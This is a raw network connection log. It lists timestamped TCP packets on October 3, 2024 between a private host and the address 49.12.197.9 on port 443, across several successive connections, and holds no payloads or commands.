Oct 3, 2024 03:36:04.275952101 CEST	443	49728	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.300182104 CEST	49729	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.300215006 CEST	443	49729	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.300296068 CEST	49729	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.300518990 CEST	49729	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.300532103 CEST	443	49729	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.977211952 CEST	443	49729	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.977333069 CEST	49729	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.977768898 CEST	49729	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.977777004 CEST	443	49729	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.979373932 CEST	49729	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.979377985 CEST	443	49729	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:04.979393005 CEST	49729	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:04.979398012 CEST	443	49729	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:05.466686010 CEST	49730	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:05.466733932 CEST	443	49730	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:05.466810942 CEST	49730	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:05.467021942 CEST	49730	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:05.467034101 CEST	443	49730	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:05.847121000 CEST	443	49729	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:05.847193956 CEST	443	49729	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:05.847346067 CEST	49729	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:05.848299980 CEST	49729	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:05.848316908 CEST	443	49729	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:06.117317915 CEST	443	49730	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:06.117393970 CEST	49730	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:06.117922068 CEST	49730	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:06.117933989 CEST	443	49730	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:06.119635105 CEST	49730	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:06.119641066 CEST	443	49730	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:06.742212057 CEST	49731	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:06.742278099 CEST	443	49731	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:06.742486954 CEST	49731	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:06.742795944 CEST	49731	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:06.742811918 CEST	443	49731	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:06.973743916 CEST	443	49730	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:06.973826885 CEST	443	49730	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:06.974045992 CEST	49730	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:06.974046946 CEST	49730	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:06.975068092 CEST	49730	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:06.975087881 CEST	443	49730	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:07.390506983 CEST	443	49731	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:07.390574932 CEST	49731	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:07.391064882 CEST	49731	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:07.391076088 CEST	443	49731	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:07.393177986 CEST	49731	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:07.393183947 CEST	443	49731	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:08.189665079 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:08.189709902 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:08.189785004 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:08.190066099 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:08.190076113 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:08.274656057 CEST	443	49731	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:08.274710894 CEST	49731	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:08.274740934 CEST	443	49731	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:08.274758101 CEST	443	49731	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:08.274785995 CEST	49731	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:08.274806023 CEST	49731	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:08.276609898 CEST	49731	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:08.276624918 CEST	443	49731	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:08.845465899 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:08.845534086 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:08.846097946 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:08.846112967 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:08.848155975 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:08.848161936 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.282860041 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.282881975 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.282892942 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.283138990 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.283173084 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.283291101 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.305799007 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.305829048 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.305932045 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.305941105 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.305985928 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.378515959 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.378544092 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.378633976 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.378670931 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.378711939 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.409046888 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.409073114 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.409117937 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.409147978 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.409162998 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.409198046 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.444700956 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.444730043 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.444819927 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.444835901 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.444938898 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.473824024 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.473851919 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.473967075 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.473983049 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.474015951 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.474034071 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.494997978 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.495023012 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.495129108 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.495143890 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.495187998 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.514260054 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.514281988 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.514398098 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.514410973 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.514451981 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.534519911 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.534539938 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.534650087 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.534672022 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.534729958 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.550082922 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.550101995 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.550210953 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.550225973 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.550271034 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.568175077 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.568197012 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.568250895 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.568285942 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.568305016 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.568335056 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.582165003 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.582190037 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.582247019 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.582261086 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.582289934 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.582309961 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.595839977 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.595871925 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.596076012 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.596076012 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.596146107 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.596221924 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.606323957 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.606347084 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.606424093 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.606450081 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.606503963 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.614739895 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.614759922 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.614830971 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.614847898 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.614900112 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.624073029 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.624139071 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.624188900 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.624212027 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.624245882 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.624264956 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.633305073 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.633352041 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.633411884 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.633436918 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.633455992 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.633479118 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.639868975 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.639890909 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.639966011 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.639986038 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.640028000 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.651123047 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.651144981 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.651205063 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.651216984 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.651254892 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.670452118 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.670469046 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.670552969 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.670587063 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.670636892 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.684547901 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.684632063 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.684667110 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.684683084 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.684715986 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.684737921 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.694904089 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.694958925 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.695002079 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.695015907 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.695044994 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.695066929 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.703283072 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.703336954 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.703417063 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.703417063 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.703435898 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.703483105 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.712471008 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.712491989 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.712568998 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.712583065 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.712610960 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.712630033 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.719785929 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.719805956 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.719877958 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.719892025 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.719943047 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.734091997 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.734110117 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.734307051 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.734373093 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.734448910 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.740920067 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.740940094 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.741003036 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.741018057 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.741075039 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.759099007 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.759120941 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.759198904 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.759212971 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.759255886 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.772928953 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.772953987 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.773032904 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.773041964 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.773081064 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.783458948 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.783483028 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.783559084 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.783567905 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.783610106 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.791583061 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.791604042 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.791691065 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.791698933 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.791742086 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.801480055 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.801505089 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.801691055 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.801698923 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.801745892 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.808156967 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.808181047 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.808253050 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.808260918 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.808307886 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.816668987 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.816693068 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.816778898 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.816787004 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.816829920 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.827735901 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.827758074 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.827841043 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.827848911 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.827889919 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.847361088 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.847398043 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.847489119 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.847511053 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.847538948 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.847567081 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.867294073 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.867316961 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.867419004 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.867428064 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.867508888 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.871680975 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.871702909 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.871747017 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.871753931 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.871783018 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.871804953 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.880184889 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.880244970 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.880321980 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.880336046 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.880366087 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.880387068 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.890671968 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.890727997 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.890782118 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.890794992 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.890825987 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.890847921 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.896744967 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.896806002 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.896848917 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.896861076 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.897022009 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.897022963 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.905626059 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.905695915 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.905735970 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.905747890 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.905774117 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.905800104 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.905877113 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:09.905930996 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.905997038 CEST	49732	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:09.906022072 CEST	443	49732	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:10.176558971 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:10.176604033 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:10.176693916 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:10.177181005 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:10.177195072 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:10.824826002 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:10.824935913 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:10.825455904 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:10.825465918 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:10.827578068 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:10.827591896 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.286631107 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.286663055 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.286684990 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.286739111 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.286739111 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.286755085 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.286802053 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.300312042 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.300334930 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.300582886 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.300595999 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.300698042 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.386708021 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.386738062 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.386877060 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.386895895 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.390391111 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.418494940 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.418514967 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.420559883 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.420568943 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.420751095 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.454646111 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.454670906 CEST	443	49733	49.12.197.9	192.168.2.6
